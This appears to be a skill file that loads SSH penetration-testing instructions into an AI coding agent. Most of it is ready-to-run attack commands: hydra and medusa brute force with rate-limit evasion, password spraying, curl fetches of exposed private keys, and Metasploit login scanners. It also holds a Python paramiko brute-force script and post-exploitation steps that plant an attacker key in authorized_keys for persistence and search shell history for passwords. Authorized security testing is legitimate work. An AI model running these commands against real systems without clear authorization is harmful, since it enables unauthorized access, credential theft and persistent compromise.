This skill should be used when the user asks to "pentest SSH services", "enumerate SSH configurations", "brute force SSH credentials", "exploit SSH vulnerabilities", "perform SSH tunneling", or "audit SSH security". It provides comprehensive SSH penetration testing methodologies and techniques.
npxskills add zebbern/claude-code-guide--skill "SSH Penetration Testing"Loading…
Conduct comprehensive SSH security assessments including enumeration, credential attacks, vulnerability exploitation, tunneling techniques, and post-exploitation activities. This skill covers the complete methodology for testing SSH service security.
Identify SSH services on target networks:
# Quick SSH port scan
nmap -p 22 192.168.1.0/24 --open
# Common alternate SSH ports
nmap -p 22,2222,22222,2200 192.168.1.100
# Full port scan for SSH
nmap -p- --open 192.168.1.100 | grep -i ssh
# Service version detection
nmap -sV -p 22 192.168.1.100
Gather detailed information about SSH services:
# Banner grabbing
nc 192.168.1.100 22
# Output: SSH-2.0-OpenSSH_8.4p1 Debian-5
# Telnet banner grab
telnet 192.168.1.100 22
# Nmap version detection with scripts
nmap -sV -p 22 --script ssh-hostkey 192.168.1.100
# Enumerate supported algorithms
nmap -p 22 --script ssh2-enum-algos 192.168.1.100
# Get host keys
nmap -p 22 --script ssh-hostkey --script-args ssh_hostkey=full 192.168.1.100
# Check authentication methods
nmap -p 22 --script ssh-auth-methods --script-args="ssh.user=root" 192.168.1.100
Identify weak configurations:
# ssh-audit - comprehensive SSH audit
ssh-audit 192.168.1.100
# ssh-audit with specific port
ssh-audit -p 2222 192.168.1.100
# Output includes:
# - Algorithm recommendations
# - Security vulnerabilities
# - Hardening suggestions
Key configuration weaknesses to identify:
# Single username, password list
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100
# Username list, single password
hydra -L users.txt -p Password123 ssh://192.168.1.100
# Username and password lists
hydra -L users.txt -P passwords.txt ssh://192.168.1.100
# With specific port
hydra -l admin -P passwords.txt -s 2222 ssh://192.168.1.100
# Rate limiting evasion (slow)
hydra -l admin -P passwords.txt -t 1 -w 5 ssh://192.168.1.100
# Verbose output
hydra -l admin -P passwords.txt -vV ssh://192.168.1.100
# Exit on first success
hydra -l admin -P passwords.txt -f ssh://192.168.1.100
# Basic brute-force
medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh
# Multiple targets
medusa -H targets.txt -u admin -P passwords.txt -M ssh
# With username list
medusa -h 192.168.1.100 -U users.txt -P passwords.txt -M ssh
# Specific port
medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh -n 2222
# Test common password across users
hydra -L users.txt -p Summer2024! ssh://192.168.1.100
# Multiple common passwords
for pass in "Password123" "Welcome1" "Summer2024!"; do
hydra -L users.txt -p "$pass" ssh://192.168.1.100
done
Test for weak or exposed keys:
# Attempt login with found private key
ssh -i id_rsa [email protected]
# Specify key explicitly (bypass agent)
ssh -o IdentitiesOnly=yes -i id_rsa [email protected]
# Force password authentication
ssh -o PreferredAuthentications=password [email protected]
# Try common key names
for key in id_rsa id_dsa id_ecdsa id_ed25519; do
ssh -i "$key" [email protected]
done
Check for exposed keys:
# Common locations for private keys
~/.ssh/id_rsa
~/.ssh/id_dsa
~/.ssh/id_ecdsa
~/.ssh/id_ed25519
/etc/ssh/ssh_host_*_key
/root/.ssh/
/home/*/.ssh/
# Web-accessible keys (check with curl/wget)
curl -s http://target.com/.ssh/id_rsa
curl -s http://target.com/id_rsa
curl -s http://target.com/backup/ssh_keys.tar.gz
Search for known vulnerabilities:
# Search for exploits
searchsploit openssh
searchsploit openssh 7.2
# Common SSH vulnerabilities
# CVE-2018-15473 - Username enumeration
# CVE-2016-0777 - Roaming vulnerability
# CVE-2016-0778 - Buffer overflow
# Metasploit enumeration
msfconsole
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 192.168.1.100
run
# Username enumeration (CVE-2018-15473)
use auxiliary/scanner/ssh/ssh_enumusers
set RHOSTS 192.168.1.100
set USER_FILE /usr/share/wordlists/users.txt
run
Forward local port to remote service:
# Syntax: ssh -L <local_port>:<remote_host>:<remote_port> user@ssh_server
# Access internal web server through SSH
ssh -L 8080:192.168.1.50:80 [email protected]
# Now access http://localhost:8080
# Access internal database
ssh -L 3306:192.168.1.50:3306 [email protected]
# Multiple forwards
ssh -L 8080:192.168.1.50:80 -L 3306:192.168.1.51:3306 [email protected]
Expose local service to remote network:
# Syntax: ssh -R <remote_port>:<local_host>:<local_port> user@ssh_server
# Expose local web server to remote
ssh -R 8080:localhost:80 [email protected]
# Remote can access via localhost:8080
# Reverse shell callback
ssh -R 4444:localhost:4444 [email protected]
Create SOCKS proxy for network pivoting:
# Create SOCKS proxy on local port 1080
ssh -D 1080 [email protected]
# Use with proxychains
echo "socks5 127.0.0.1 1080" >> /etc/proxychains.conf
proxychains nmap -sT -Pn 192.168.1.0/24
# Browser configuration
# Set SOCKS proxy to localhost:1080
Chain through multiple SSH servers:
# Jump through intermediate host
ssh -J user1@jump_host user2@target_host
# Multiple jumps
ssh -J user1@jump1,user2@jump2 user3@target
# With SSH config
# ~/.ssh/config
Host target
HostName 192.168.2.50
User admin
ProxyJump [email protected]
Activities after gaining SSH access:
# Check sudo privileges
sudo -l
# Find SSH keys
find / -name "id_rsa" 2>/dev/null
find / -name "id_dsa" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null
# Check SSH directory
ls -la ~/.ssh/
cat ~/.ssh/known_hosts
cat ~/.ssh/authorized_keys
# Add persistence (add your key)
echo "ssh-rsa AAAAB3..." >> ~/.ssh/authorized_keys
# Extract SSH configuration
cat /etc/ssh/sshd_config
# Find other users
cat /etc/passwd | grep -v nologin
ls /home/
# History for credentials
cat ~/.bash_history | grep -i ssh
cat ~/.bash_history | grep -i pass
Python-based SSH automation:
#!/usr/bin/env python3
import paramiko
import sys
def ssh_connect(host, username, password):
"""Attempt SSH connection with credentials"""
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
client.connect(host, username=username, password=password, timeout=5)
print(f"[+] Success: {username}:{password}")
return client
except paramiko.AuthenticationException:
print(f"[-] Failed: {username}:{password}")
return None
except Exception as e:
print(f"[!] Error: {e}")
return None
def execute_command(client, command):
"""Execute command via SSH"""
stdin, stdout, stderr = client.exec_command(command)
output = stdout.read().decode()
errors = stderr.read().decode()
return output, errors
def ssh_brute_force(host, username, wordlist):
"""Brute-force SSH with wordlist"""
with open(wordlist, 'r') as f:
passwords = f.read().splitlines()
for password in passwords:
client = ssh_connect(host, username, password.strip())
if client:
# Run post-exploitation commands
output, _ = execute_command(client, 'id; uname -a')
print(output)
client.close()
return True
return False
# Usage
if __name__ == "__main__":
target = "192.168.1.100"
user = "admin"
# Single credential test
client = ssh_connect(target, user, "password123")
if client:
output, _ = execute_command(client, "ls -la")
print(output)
client.close()
Use Metasploit for comprehensive SSH testing:
# Start Metasploit
msfconsole
# SSH Version Scanner
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 192.168.1.0/24
run
# SSH Login Brute-Force
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.1.100
set USERNAME admin
set PASS_FILE /usr/share/wordlists/rockyou.txt
set VERBOSE true
run
# SSH Key Login
use auxiliary/scanner/ssh/ssh_login_pubkey
set RHOSTS 192.168.1.100
set USERNAME admin
set KEY_FILE /path/to/id_rsa
run
# Username Enumeration
use auxiliary/scanner/ssh/ssh_enumusers
set RHOSTS 192.168.1.100
set USER_FILE users.txt
run
# Post-exploitation with SSH session
sessions -i 1
| Command | Purpose |
|---|---|
nc <host> 22 | Banner grabbing |
ssh-audit <host> | Configuration audit |
nmap --script ssh* | SSH NSE scripts |
searchsploit openssh | Find exploits |
| Tool | Command |
|---|---|
| Hydra | hydra -l user -P pass.txt ssh://host |
| Medusa | medusa -h host -u user -P pass.txt -M ssh |
| Ncrack | ncrack -p 22 --user admin -P pass.txt host |
| Metasploit | use auxiliary/scanner/ssh/ssh_login |
| Type | Command | Use Case |
|---|---|---|
| Local | -L 8080:target:80 | Access remote services locally |
| Remote | -R 8080:localhost:80 | Expose local services remotely |
| Dynamic | -D 1080 | SOCKS proxy for pivoting |
| Port | Description |
|---|---|
| 22 | Default SSH |
| 2222 | Common alternate |
| 22222 | Another alternate |
| 830 | NETCONF over SSH |
-t 1 -w 5| Issue | Solutions |
|---|---|
| Connection Refused | Verify SSH running; check firewall; confirm port; test from different IP |
| Authentication Failures | Verify username; check password policy; key permissions (600); authorized_keys format |
| Tunnel Not Working | Check GatewayPorts/AllowTcpForwarding in sshd_config; verify firewall; use ssh -v |
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